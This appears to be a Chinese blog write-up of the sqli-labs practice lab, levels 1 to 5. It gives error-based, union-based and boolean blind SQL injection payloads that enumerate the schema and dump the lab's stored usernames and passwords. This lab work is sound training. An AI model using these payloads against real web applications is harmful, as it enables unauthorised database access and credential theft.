sqli-labs 记录

基础语句
select schema_name from information_schema.schemata   # 爆库
select table_name from information_schema.tables where table_schema='xxx'   # 猜表
select column_name from information_schema.columns where table_name='xxx'   # 猜字段
select xxx from xxx   # 猜内容

less-1 单引号注入

?id=1 返回正常

?id=1' 返回 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1
所以存在字符型注入

?id=1' order by 11 --+ Unknown column '11' in 'order clause'

?id=1' order by 6 --+ Unknown column '6' in 'order clause'

?id=1' order by 3 --+ 返回正常

?id=1' and 1=2 union select 1,2,3 --+ 返回2,3
也可以 ?id=-1' union select 1,2,3 --+

?id=1' and 1=2 union select 1,database(),user() --+ 返回security, root@localhost
也可以 ?id=1' and 1=2 union select 1,group_concat(schema_name),3 from information_schema.schemata --+ (优点:可以爆出所有库)

?id=1' and 1=2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+
返回emails,referers,uagents,users

?id=1' and 1=2 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+
返回user_id,first_name,last_name,user,password,avatar,last_login,failed_login,id,username,password

?id=1' and 1=2 union select 1,group_concat(username,";" ,password),3 from users--+
返回Dumb;Dumb,Angelina;I-kill-you,Dummy;p@ssword,secure;crappy,stupid;stupidity,superman;genious,batman;mob!le,admin;admin,admin1;admin1,admin2;admin2,admin3;admin3,dhakkan;dumbo,admin4;admin4

less-2 数字型注入

?id=1' 返回You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' LIMIT 0,1' at line 1
有可能是数字型注入
?id=1 and 1=2 --+ 没有回显
其余的payload与less1一致,去掉单引号就行

less-3

?id=1') and 1=2--+ 没有回显
其余的payload与less1一致, 只是将单引号改成 ' ') '

less-4

?id=1" 报错
?id=1") and 1=2--+ 没有回显
其余的payload与less1一致, 只是将单引号改成 ' ") '

盲注:
首先看几个函数
left(a,b):从左侧截取a的前b位
ascii('x') 返回'x'的ascii码
substr(a,b,c) 从b位置起,截取字符串a的c长度
mid(a,b,c) 从位置b起, 截取字符串a的c位
ord() 同ascii()
if(expr1,expr2,expr3)  如果 expr1 是TRUE (expr1 <> 0 and expr1 <> NULL),则 IF()的返回值为expr2; 否则返回值则为 expr3。IF() 的返回值为数字值或字符串值,具体情况视其所在语境而定。
length() 返回长度

less-5

?id=1 返回You are in...........
?id=1' 返回You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1
?id=1' and left(database(),1)>'m' --+ 返回You are in...........
二分法查到第一位为s,第二位为e,然后得到数据库名security
用payload:
?id=1' and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1)='a' --+
查询到第一张表email
也可以用ascii()
?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))='101' --+

less-1
less-1
less-1
less-1

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
【社区内容提示】社区部分内容疑似由AI辅助生成,浏览时请结合常识与多方信息审慎甄别。
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

相关阅读更多精彩内容

  • 写了这么多天,都不知道写什么了。 天气转冷,北方的天气还是那么冷,虽然是艳阳高照,风和日丽。都是心情不是很好。 人...
    求无1824阅读 403评论 0 0
  • 继续分析导致自己完不成计划的原因,排第二位的是缺乏持续行动力。 一万小时定律,21天能养成一种习惯......我对...
    Anita_Tang阅读 187评论 1 3
  • HTTP状态码当浏览者访问一个网页时,浏览者的浏览器会向网页所在服务器发出请求。当浏览器接收并显示网页前,此网页所...
    InitialX阅读 1,012评论 2 19
  • 前几年自己写的老文章,现在看看还是有所收获,翻出来自己增加一些感悟,文字内容与实际工作无关。 最近今天和一个同事聊...
    张超超超阅读 951评论 1 4
  • 飞雪飘凌《故乡的老宅》第一段文字赏析:“清风徐徐吹过山头上的那枝梨花,花瓣盈盈飘洒,便落到了故乡的老宅子里。” 一...
    启明星子阅读 307评论 0 1

友情链接更多精彩内容